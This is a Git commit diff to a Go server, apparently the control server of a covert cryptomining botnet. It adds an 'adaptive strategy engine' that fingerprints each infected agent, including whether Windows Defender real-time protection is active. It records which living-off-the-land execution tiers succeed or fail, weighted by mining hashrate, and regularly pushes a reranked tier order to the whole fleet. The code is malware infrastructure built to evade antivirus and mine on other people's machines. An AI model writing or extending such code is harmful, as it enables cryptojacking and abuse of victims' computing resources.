Add fleet adaptive strategy engine for proactive LOTL tier ordering
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -17,6 +17,7 @@ import (
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
"crypto-miner-server/internal/pool"
|
||||
"crypto-miner-server/internal/strategy"
|
||||
"crypto-miner-server/internal/vuln"
|
||||
|
||||
"github.com/google/uuid"
|
||||
@@ -155,6 +156,7 @@ type WSHub struct {
|
||||
// Latest service_discover payloads keyed by agent ID (Crucible service graph).
|
||||
agentServiceDiscover map[string]cachedServiceDiscover
|
||||
serverPolicy ServerPolicy
|
||||
adaptiveEngine *strategy.AdaptiveEngine
|
||||
pingIntervalSec int
|
||||
fleetSecret string // baked into forged agents; verified on WS connect
|
||||
eventNotifier *alerts.Notifier
|
||||
@@ -261,6 +263,32 @@ func (h *WSHub) SetServerPolicy(p ServerPolicy) {
|
||||
h.mu.Unlock()
|
||||
}
|
||||
|
||||
func (h *WSHub) SetAdaptiveEngine(e *strategy.AdaptiveEngine) {
|
||||
h.mu.Lock()
|
||||
h.adaptiveEngine = e
|
||||
h.mu.Unlock()
|
||||
if e != nil {
|
||||
go h.runAdaptiveStrategyLoop()
|
||||
}
|
||||
}
|
||||
|
||||
func (h *WSHub) runAdaptiveStrategyLoop() {
|
||||
ticker := time.NewTicker(strategy.RescoreInterval)
|
||||
defer ticker.Stop()
|
||||
for range ticker.C {
|
||||
h.mu.RLock()
|
||||
engine := h.adaptiveEngine
|
||||
h.mu.RUnlock()
|
||||
if engine == nil || !engine.Enabled() {
|
||||
continue
|
||||
}
|
||||
if _, err := engine.RecomputeAll(); err != nil {
|
||||
log.Printf("[strategy] background rescore: %v", err)
|
||||
}
|
||||
h.PushAdaptiveStrategyUpdates()
|
||||
}
|
||||
}
|
||||
|
||||
func (h *WSHub) SetPingInterval(seconds int) {
|
||||
if seconds < 10 {
|
||||
seconds = 30
|
||||
@@ -848,6 +876,14 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
}
|
||||
resp["triple_onion_policy"] = top
|
||||
if h.adaptiveEngine != nil && h.adaptiveEngine.Enabled() {
|
||||
domainJoined := false
|
||||
if prior != nil && prior.FirewallDomain != nil && *prior.FirewallDomain {
|
||||
domainJoined = true
|
||||
}
|
||||
fp := strategy.FingerprintFromAuth(auth.Platform, clientIP, domainJoined)
|
||||
resp["adaptive_strategy"] = h.adaptiveEngine.StrategyForAgent(agentID, fp)
|
||||
}
|
||||
return resp
|
||||
}())})
|
||||
|
||||
@@ -1168,6 +1204,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
ac.latencyMu.Unlock()
|
||||
}
|
||||
h.ingestStrategyFromStats(agentID, "", clientIPFromBroadcast(broadcast), stats.DefenderRTP, stats.FirewallDomain, stats.LOTLAttempts, stats.MiningHashrate, stats.LOTLTier)
|
||||
h.queueStatsBroadcast(broadcast)
|
||||
|
||||
case "submit_share":
|
||||
@@ -1334,6 +1371,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
continue
|
||||
}
|
||||
payload["agent_id"] = agentID
|
||||
h.ingestStrategyFromPayload(agentID, payload)
|
||||
h.queueStatsBroadcast(payload)
|
||||
|
||||
case "command_result":
|
||||
@@ -1683,6 +1721,136 @@ func (h *WSHub) ResolveAgentTargets(ids []string) []string {
|
||||
return ids
|
||||
}
|
||||
|
||||
func (h *WSHub) PushAdaptiveStrategyUpdates() int {
|
||||
h.mu.RLock()
|
||||
engine := h.adaptiveEngine
|
||||
ids := h.ConnectedAgentIDs()
|
||||
h.mu.RUnlock()
|
||||
if engine == nil || !engine.Enabled() {
|
||||
return 0
|
||||
}
|
||||
sent := 0
|
||||
for _, agentID := range ids {
|
||||
fp := engine.AgentFingerprint(agentID)
|
||||
if fp.GOOS == "" {
|
||||
if ag, err := h.db.GetAgent(agentID); err == nil {
|
||||
fp = strategy.FingerprintFromAuth(ag.Platform, ag.IP, ag.FirewallDomain != nil && *ag.FirewallDomain)
|
||||
}
|
||||
}
|
||||
adaptive := engine.StrategyForAgent(agentID, fp)
|
||||
payload, err := json.Marshal(adaptive)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if err := h.SendToAgent(agentID, Message{Type: "adaptive_strategy_update", Payload: payload}); err != nil {
|
||||
continue
|
||||
}
|
||||
sent++
|
||||
}
|
||||
return sent
|
||||
}
|
||||
|
||||
func (h *WSHub) ingestStrategyFromPayload(agentID string, payload map[string]interface{}) {
|
||||
if h.adaptiveEngine == nil || !h.adaptiveEngine.Enabled() {
|
||||
return
|
||||
}
|
||||
platform, _ := payload["platform"].(string)
|
||||
ip, _ := payload["ip"].(string)
|
||||
var defenderRTP, firewallDomain *bool
|
||||
if v, ok := payload["defender_rtp"].(bool); ok {
|
||||
defenderRTP = &v
|
||||
}
|
||||
if v, ok := payload["firewall_domain"].(bool); ok {
|
||||
firewallDomain = &v
|
||||
}
|
||||
h.ingestStrategyFromStats(agentID, platform, ip, defenderRTP, firewallDomain, parseLOTLAttemptsFromPayload(payload), 0, "")
|
||||
if hr, ok := payload["mining_hashrate"].(float64); ok {
|
||||
if tier, ok := payload["lotl_tier"].(string); ok && hr > 0 {
|
||||
h.ingestStrategyFromStats(agentID, platform, ip, defenderRTP, firewallDomain, nil, hr, tier)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (h *WSHub) ingestStrategyFromStats(
|
||||
agentID, platform, ip string,
|
||||
defenderRTP, firewallDomain *bool,
|
||||
attempts []struct {
|
||||
Tier string `json:"tier"`
|
||||
OK bool `json:"ok"`
|
||||
Error string `json:"error,omitempty"`
|
||||
DurationMs int64 `json:"duration_ms"`
|
||||
Wallet string `json:"wallet,omitempty"`
|
||||
},
|
||||
miningHashrate float64,
|
||||
activeTier string,
|
||||
) {
|
||||
if h.adaptiveEngine == nil || !h.adaptiveEngine.Enabled() {
|
||||
return
|
||||
}
|
||||
if platform == "" || ip == "" {
|
||||
if ag, err := h.db.GetAgent(agentID); err == nil {
|
||||
if platform == "" {
|
||||
platform = ag.Platform
|
||||
}
|
||||
if ip == "" {
|
||||
ip = ag.IP
|
||||
}
|
||||
if firewallDomain == nil {
|
||||
firewallDomain = ag.FirewallDomain
|
||||
}
|
||||
}
|
||||
}
|
||||
domainJoined := firewallDomain != nil && *firewallDomain
|
||||
fp := strategy.FingerprintFromAuth(platform, ip, domainJoined)
|
||||
if defenderRTP != nil && *defenderRTP {
|
||||
fp.AVBlocks = true
|
||||
}
|
||||
h.adaptiveEngine.RememberAgentFingerprint(agentID, fp)
|
||||
for _, a := range attempts {
|
||||
hr := 0.0
|
||||
if a.OK && strings.EqualFold(a.Tier, activeTier) {
|
||||
hr = miningHashrate
|
||||
}
|
||||
h.adaptiveEngine.RecordOutcome(agentID, fp, a.Tier, a.OK, hr, "mining")
|
||||
}
|
||||
if activeTier != "" && miningHashrate > 0 {
|
||||
h.adaptiveEngine.RecordOutcome(agentID, fp, activeTier, true, miningHashrate, "mining")
|
||||
}
|
||||
}
|
||||
|
||||
func parseLOTLAttemptsFromPayload(payload map[string]interface{}) []struct {
|
||||
Tier string `json:"tier"`
|
||||
OK bool `json:"ok"`
|
||||
Error string `json:"error,omitempty"`
|
||||
DurationMs int64 `json:"duration_ms"`
|
||||
Wallet string `json:"wallet,omitempty"`
|
||||
} {
|
||||
raw, ok := payload["lotl_attempts"]
|
||||
if !ok {
|
||||
return nil
|
||||
}
|
||||
data, err := json.Marshal(raw)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
var attempts []struct {
|
||||
Tier string `json:"tier"`
|
||||
OK bool `json:"ok"`
|
||||
Error string `json:"error,omitempty"`
|
||||
DurationMs int64 `json:"duration_ms"`
|
||||
Wallet string `json:"wallet,omitempty"`
|
||||
}
|
||||
if err := json.Unmarshal(data, &attempts); err != nil {
|
||||
return nil
|
||||
}
|
||||
return attempts
|
||||
}
|
||||
|
||||
func clientIPFromBroadcast(broadcast map[string]interface{}) string {
|
||||
ip, _ := broadcast["ip"].(string)
|
||||
return ip
|
||||
}
|
||||
|
||||
// PushPolicyUpdate sends policy_update to each target agent.
|
||||
func (h *WSHub) PushPolicyUpdate(agentIDs []string, policy FleetAgentPolicy, pushID string) (sent, failed int) {
|
||||
if policy.IsEmpty() {
|
||||
|
||||
Reference in New Issue
Block a user